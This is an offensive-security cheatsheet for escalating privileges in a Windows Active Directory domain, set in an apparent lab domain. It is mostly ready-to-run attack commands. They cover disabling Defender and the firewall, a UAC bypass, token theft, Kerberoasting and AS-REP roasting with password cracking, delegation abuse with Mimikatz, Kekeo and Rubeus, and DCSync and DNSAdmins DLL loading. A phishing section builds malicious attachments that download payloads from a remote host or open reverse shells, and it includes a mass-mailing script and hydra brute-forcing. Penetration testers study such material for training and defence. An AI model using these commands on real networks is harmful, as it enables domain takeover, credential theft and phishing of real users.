Domain Privilege Escalation cheatsheet
Once an adversary has gained an initial foothold in the network, they will seek to escalate their privileges and compromise additional systems to locate sensitive data and other critical resources.
Windows Defender
# Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
# Disable Firewall
## cmd.exe
netsh advfirewall set allprofiles state off
## powershell.exe
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
User Account Control (UAC)
In case you are a member of the local administrators group, but you still have the Medium Mandatory Level label, it is necessary to bypass the User Account Control (UAC):
# FodhelperUACBypass.ps1
. .\FodhelperUACBypass.ps1
FodhelperUACBypass -program "cmd.exe"
FodhelperUACBypass -program "cmd.exe /c powershell.exe"
FodhelperUACBypass -program "cmd.exe /c net localgroup administrators CYBERLAB\STUDENT01 /add"
Alternatively, you can use SharpBypassUAC.
Token Manipulation
Tokens can be impersonated from other users with a session/running processes on the machine. A similar effect can be achieved by using e.g. CobaltStrike to inject into said processes.
Incognito
# A SYSTEM shell is required
.\PsExec64.exe -s -i -d powershell.exe
# Show tokens on the machine
.\incognito.exe list_tokens -u
# Start new process with token of a specific user
.\incognito.exe execute "CYBERLAB\STUDENT2" C:\Windows\system32\calc.exe
.\incognito.exe execute -c "CYBERLAB\STUDENT2" powershell.exe
Invoke-TokenManipulation
# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll
# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate
# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "CYBERLAB\STUDENT2"
# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500
Classic Kerberoasting
Find user accounts used as Service accounts:
# PowerView Get-NetUser -SPN # ActiveDirectory Module Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Request a Ticket Granting Service (TGS):
# PowerShell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/database.cyberlab.cybercorp.local" # PowerView Request-SPNTicket -SPN "MSSQLSvc/database.cyberlab.cybercorp.local"
Check if the TGS has been granted:
klist
Export all tickets using Mimikatz
# Invoke-Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
Crack the Service account password (this step can be performed on a Kali machine):
# tgsrepcrack.py git clone https://github.com/nidem/kerberoast python3 ./tgsrepcrack.py ./10-million-password-list-top-1000000.txt ./240a10000-STUDENT1@MSSQLSvc~database.cyberlab.cybercorp.localCYBERLAB.LOCAL.kirbi
the same TGS can also be cracked by using
john
, but it must be firstly converted into a compatible format:# tgsrepcrack.py python3 ./kirbi2john.py -o ./tgs.john ./240a10000-STUDENT1@MSSQLSvc~database.cyberlab.cybercorp.localCYBERLAB.LOCAL.kirbi # JohnTheRipper /usr/sbin/john --format=krb5tgs ./tgs.john --wordlist=./10-million-password-list-top-1000000.txt
An alternative way to perform Kerberoasting is to use PowerSploit
combined to john
or hashcat
:
Find user accounts used as Service accounts:
# PowerView Get-NetUser -SPN # ActiveDirectory Module Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Request a TGS:
# Invoke-Kerberoast.ps1 ## JohnTheRipper (bleeding-jumbo branch) Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII john_tgs.kirbi ## HashCat Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashcat_tgs.kirbi
Brute-force the exported ticket:
# JohnTheRipper (bleeding-jumbo branch) john --format=krb5tgs --wordlist=./10-million-password-list-top-1000000.txt john_tgs.kirbi # HashCat hashcat -m 13100 --force hashcat_tgs.kirbi ./10-million-password-list-top-1000000.txt
The
hashcat
format can also be cracked byjohn
.
Targeted Kerberoasting (Set SPN)
With enough rights (GenericAll/GenericWrite), a target user’s SPN can be set to anything (unique in the domain). We can then request a TGS without special privileges. The TGS can then be “Kerberoasted”.
Let’s enumerate the permissions for RDPUsers on ACLs
# PowerView Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
Check if the user already has a SPN:
# PowerView_dev Get-DomainUser -Identity "STUDENT2" | select ServicePrincipalName # ActiveDirectory Module Get-ADUser -Identity "STUDENT2" -Properties ServicePrincipalName | select ServicePrincipalName
Set a SPN for the user (must be unique for the domain):
# PowerView Set-DomainObject -Identity "STUDENT2" -Set @{serviceprincipalname='ops/whatever1'} # ActiveDirectory Module Set-ADUser -Identity "STUDENT2" -ServicePrincipalNames @{Add='ops/whatever1'}
Request a TGS:
# PowerShell Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1" # PowerView Request-SPNTicket -SPN "ops/whatever1"
Check if the ticket has been granted:
klist
Export all tickets using Mimikatz:
# Invoke-Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
Crack the Service account password (this step can be performed on a Kali machine):
# tgsrepcrack.py git clone https://github.com/nidem/kerberoast python3 ./tgsrepcrack.py ./10-million-password-list-top-1000000.txt ./240a10000-student1@ops~whatever1CYBERLAB.CYBERCORP.LOCAL.kirbi
the same TGS can also be cracked by using
john
, but it must be firstly converted into a compatible format:# tgsrepcrack.py python3 ./kirbi2john.py -o ./tgs.john ./240a10000-STUDENT1@MSSQLSvc~database.cyberlab.cybercorp.localCYBERLAB.LOCAL.kirbi # JohnTheRipper /usr/sbin/john --format=krb5tgs ./tgs.john --wordlist=./10-million-password-list-top-1000000.txt
ASREProasting (AS-REP)
If a user’s UserAccountControl settings have Do not require Kerberos preauthentication enabled, i.e. Kerberos preauth is disabled, it is possible to grab user’s crackable AS-REP and brute-force it offline. With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.
Enumerating accounts with Kerberos Preauth disabled:
# PowerView_dev Get-DomainUser -PreauthNotRequired -Verbose # ActiveDirectory Module Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
or let’s enumerate the permissions for RDPUsers on ACLs:
# PowerView Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
Users in RDPUser group have GenericWrite or GenericAll permission on STUDENTI1 user so it is possible to force the disable of Kerberos Preauth on it:
# PowerView_dev Set-DomainObject -Identity "STUDENTI1" -XOR @{useraccountcontrol=4194304} -VerboseGet-DomainUser -PreauthNotRequired -Verbose
Request encrypted AS-REP for offline brute-force
# ASREPRoast # JohnTheRipper (bleeding-jumbo branch) Get-ASREPHash -UserName "STUDENTI1" -Verbose | Out-File -Encoding ASCII john_asrep.kirbi # HashCat Get-ASREPHash -UserName "STUDENTI1" -Verbose | % {$_.replace('$krb5asrep$','$krb5asrep$23$')} | Out-File -Encoding ASCII hashcat_asrep.kirbi
It is also possible to enumerate all users with Kerberos preauth disabled and request a hash:
# ASREPRoast # JohnTheRipper (bleeding-jumbo branch) Invoke-ASREPRoast -Verbose | % { $_.Hash } | Out-File -Encoding ASCII john_asrep.kirbi # HashCat Invoke-ASREPRoast -Verbose | % { $_.Hash } | % {$_.replace('$krb5asrep$','$krb5asrep$23$')} | Out-File -Encoding ASCII hashcat_asrep.kirbi
Using bleeding-jumbo branch of John The Ripper or HashCat, we can brute-force the hashes offline:
# JohnTheRipper (bleeding-jumbo branch) /usr/sbin/john --format=krb5asrep --wordlist=./10-million-password-list-top-1000000.txt john_asrep.kirbi # HashCat hashcat -m 18200 --force hashcat_asrep.kirbi ./10-million-password-list-top-1000000.txt
Unconstrained Delegation
General/Basic or Unconstrained Delegation which allows the first hop server (e.g. web server) to request access to any service on any computer in the domain.
Discover domain computers which have unconstrained delegation enabled:
# PowerView Get-NetComputer -UnConstrained # ActiveDirectory Module Get-ADComputer -Filter {TrustedForDelegation -eq $True}Get-ADUser -Filter {TrustedForDelegation -eq $True}
Compromise the server(s) where Unconstrained delegation is enabled and trick or wait for a domain admin to connect to the service. We can use the following PowerView command to notify for a particular DA to access a resource on the web server:
# PowerView Invoke-UserHunter -ComputerName "ops-web" -Poll 100 -UserName "Administrator" -Delay 5 -Verbose
Run following commands on it to check if any DA ticket is available and then export it:
# Invoke-Mimikatz Invoke-Mimikatz -Command '"sekurlsa::tickets"'Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
The DA ticket could then be reused:
# Invoke-Mimikatz Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\user1\[0;2ceb8b3]-2-060a10000-Administrator@krbtgtCYBERLAB.CYBERCORP.LOCAL.kirbi"'
Constrained Delegation
Constrained Delegation allows the first hop server (e.g web server) to request access only to specified services on specified computers. If the user is not using Kerberos authentication to authenticate to the first hop server, Windows offers Protocol Transition to transition the request to Kerberos.
To impersonate the user, Service for User (S4U) extension is used and it provides two extensions:
- Service for User to Self (S4U2self): Allows a service to obtain a forwardable TGS to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION - T2A4D UserAccountControl attribute.
- Service for User to Proxy (S4U2proxy): Allows a service to obtain a TGS to a second service on behalf of a user. Which second service? This is controlled by msDS-AllowedToDelegateTo attribute. This attribute contains a list of SPNs to which the user tokens can be forwarded.
If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it’s possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.
Enumerate users and computers with constrained delegation enabled:
# PowerView_dev
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# ActiveDirectory Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Constrained delegation allowed for a User Account
To abuse constrained delegation in above scenario, we need to have access to the account for which the constrained delegation is enabled. If we have access to that account, it is possible to access the services listed in msDS-AllowedToDelegateTo of this account as ANY user.
Using asktgt from Kekeo, we request a TGT as the abused account. Either plaintext password or NTLM hash of the compromised account (with constrained delegation enabled) is required:
# Kekeo kekeo# tgt::ask /user:WEBSVC /domain:cyberlab.cybercorp.local /rc4:[NTLM_HASH_USER_ENABLED_DELEGATION]
Using s4u from Kekeo, we request a TGS as ANY user for the service to which the delegation is enabled, e.g. FILESERVER, using the TGT previously obtained:
# Kekeo kekeo# tgs::s4u /tgt:[TGT_USER_ENABLED_DELEGATION] /user:Administrator@CYBERLAB.CYBERCORP.LOCAL /service:cifs/FILESERVER.CYBERLAB.CYBERCORP.LOCAL
Using mimikatz, inject the TGS ticket:
# Invoke-Mimikatz Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL_cifs~FILESERVER.CYBERLAB.CYBERCORP.LOCAL@CYBERLAB.CYBERCORP.LOCAL.kirbi"'
Access the file shares of the target:
ls \\fileserver.cyberlab.cybercorp.local\c$
Another interesting issue in Kerberos is that the delegation occurs not only for the specified service but for any service running under the same account. There is no validation for the SPN specified.
Constrained delegation allowed for a Machine Account
If you have compromised a machine account or in other words you have SYSTEM level privileges on a machine that is configured with constrained delegation, you can assume any identity in the AD domain and authenticate to services that the compromised machine is trusted to delegate to.
List services to which the machine account is trusted to delegate to:
# PowerView Get-NetComputer "COMPUTER1" | select name, msds-allowedtodelegateto, useraccountcontrol | fl Get-NetComputer "COMPUTER1" | Select-Object -ExpandProperty msds-allowedtodelegateto | fl
Using asktgt from Kekeo, we request a TGT as the abused account (in this case a machine account):
# Kekeo kekeo# tgt::ask /user:cyberlab-adminsrv$ /domain:CYBERLAB.CYBERCORP.LOCAL /rc4:1fadb1b13edbc5a61cbdc389e6f34c67
Using s4u from Kekeo (no SNAME validation) it is possible to ask for a TGS also for time and ldap services by running other two separate commands (putting both the base service and a single alternative one):
# Kekeo kekeo# tgs::s4u /tgt:TGT_cyberlabadminsrv$@CYBERLAB.CYBERCORP.LOCAL_krbtgt~cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL.kirbi /user:Administrator@cyberlab.cybercorp.local /service:cifs/fileserver.cyberlab.cybercorp.local kekeo# tgs::s4u /tgt:TGT_cyberlabadminsrv$@CYBERLAB.CYBERCORP.LOCAL_krbtgt~cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL.kirbi /user:Administrator@cyberlab.cybercorp..local /service:cifs/fileserver.cyberlab.cybercorp.local|time/fileserver.cyberlab.cybercorp.local kekeo# tgs::s4u /tgt:TGT_cyberlabadminsrv$@CYBERLAB.CYBERCORP.LOCAL_krbtgt~cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL.kirbi /user:Administrator@cyberlab.cybercorp.local /service:cifs/fileserver.cyberlab.cybercorp.local|ldap/fileserver.cyberlab.cybercorp.local
Using mimikatz it is possible to inject all the generated TGS tickets (from the previous commands) into the session:
# Invoke-Mimikatz Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL_cifs~cyberlab-dc.cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL_time~cyberlab-dc.cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL_ALT.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL_ldap~cyberlab-dc.cyberlab.cybercorp.local@CYBERLAB.CYBERCORP.LOCAL_ALT.kirbi"'
If we have a ticket for the LDAP service it is possible to perform a DCSync:
# Invoke-Mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberlab\krbtgt"'Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberlab\administrator"'
The same procedure can also be performed by using Rubeus
:
Using asktgt from Rubeus, we request a TGT as the abused account (in this case a machine account):
# Rubeus .\Rubeus.exe asktgt /user:cyberlab-adminsrv$ /domain:CYBERLAB.CYBERCORP.LOCAL /rc4:1fadb1b13edbc5a61cbdc389e6f34c67 /outfile:deleg.kirbi
Using s4u from Rubeus (no SNAME validation) it is possible to ask for a TGS also for time and ldap services (remember to include in the altservice field also the first service):
# Rubeus .\Rubeus.exe s4u /ticket:deleg.kirbi /impersonateuser:administrator /msdsspn:cifs/cyberlab-dc.cyberlab.cybercorp.local /altservice:cifs,time,ldap,http,wsman,host,rpcss /ptt
An alternative in case of SYSTEM level compromise of a machine with constrained delegation enabled:
Impersonate the Administrator account:
[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator') $idToImpersonate.Impersonate()[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
Try to access the service (in case the COMPUTER1 is allowed to delegate to DC CIFS service):
ls \\cyberlab-dc.cyberlab.cybercorp.local\c$
DNSAdmin
It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). In case the DC also serves as DNS, this will provide us escalation to DA. Privileges to restart the DNS service are needed.
Enumerate the members of the DNSAdmis group
# PowerView Get-NetGroupMember -GroupName "DNSAdmins" # ActiveDirectory Module Get-ADGroupMember -Identity "DNSAdmins"
Once we know the members of the DNSAdmins group, we need to compromise a member.
Install DNS RSAT tools (if not present):
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability –Online
From the privileges of DNSAdmins group member, configure DLL using dnscmd.exe (needs RSAT DNS):
# RSAT DNS dnscmd cyberlab-dc /config /serverlevelplugindll \\FILESERVER_IP\dll\mimilib.dll # Absolute path
or using DNSServer module (needs RSAT DNS):
# RSAT DNS $dnsettings = Get-DnsServerSetting -ComputerName cyberlab-dc -Verbose -All $dnsettings.ServerLevelPluginDll = "\\FILESERVER_IP\dll\mimilib.dll" # Absolute path Set-DnsServerSetting -InputObject $dnsettings -ComputerName cyberlab-dc -Verbose
From a CMD shell restart the DNS service (assuming that the DNSAdmins group has the permission to do so):
sc \\cyberlab-dc stop dns sc \\cyberlab-dc start dns
By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log
If you want to implement a custom DLL to perform custom actions (i.e. add a user to the Administrators group), it is possible to use the template present at this link DNSAdmin-DLL. In fact, the DLL must export predefined functions to be accepted by the DNS service.
Phishing
In order to perform a phishing attack it is necessary to perform the following steps:
Find the mail server by looking at SMTP open ports (25, 587, 465):
(25, 587, 465) | % {powercat -c smtp.cyberlab.local -p $_ -t 1 -Verbose -d}
Generate a malicious attachment to be sent within the mail message:
# Nishang Out-CHM -PayloadScript .\Invoke-PowerShellTcp.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop" Out-CHM -PayloadURL http://192.168.50.53/powercat_connect.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop" Out-CHM -Payload "-c net localgroup administrators CYBERLAB\STUDENT01 /add" -HHCPath "C:\Program Files (x86)\HTML Help Workshop" Out-Excel -PayloadURL http://192.168.50.53/powercat_connect.ps1 -DDE Out-HTA -PayloadURL http://192.168.50.53/powercat_connect.ps1 Out-HTA -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c . \\10.10.10.10\tmp\powercat.ps1; powercat -c ws01 -p 443 -e cmd" Out-HTA -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c net localgroup administrators cyberlab\student01 /add"
Connect to the SMTP server and the send the message to the recipients:
# phishing.ps1 $recipients = @("lbunce@cyberlab.local","bschonfelder@cyberlab.local") $sender = "giovanni@pecoraro.local" $subject = "Important mail" $body = "Please open the attachment" $smtp_server = "smtp.cyberlab.local" $smtp_port = 25$attachment_path = ".\doc.chm" Foreach ($rcpt in $recipients) { Write-Host -ForegroundColor Yellow "Sending phishing email to $rcpt" Send-MailMessage -To $rcpt -From $sender -Subject $subject -Body $body -SmtpServer $smtp_server -Port $smtp_port -Attachments $attachment_path }
Brute-forcing
# hydra.exe
.\hydra.exe -L ..\usernames.txt -P ..\500-worst-passwords.txt "http-post-form://192.168.2.50:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2FasynchPeople%2F&Submit=Sign+in:Invalid"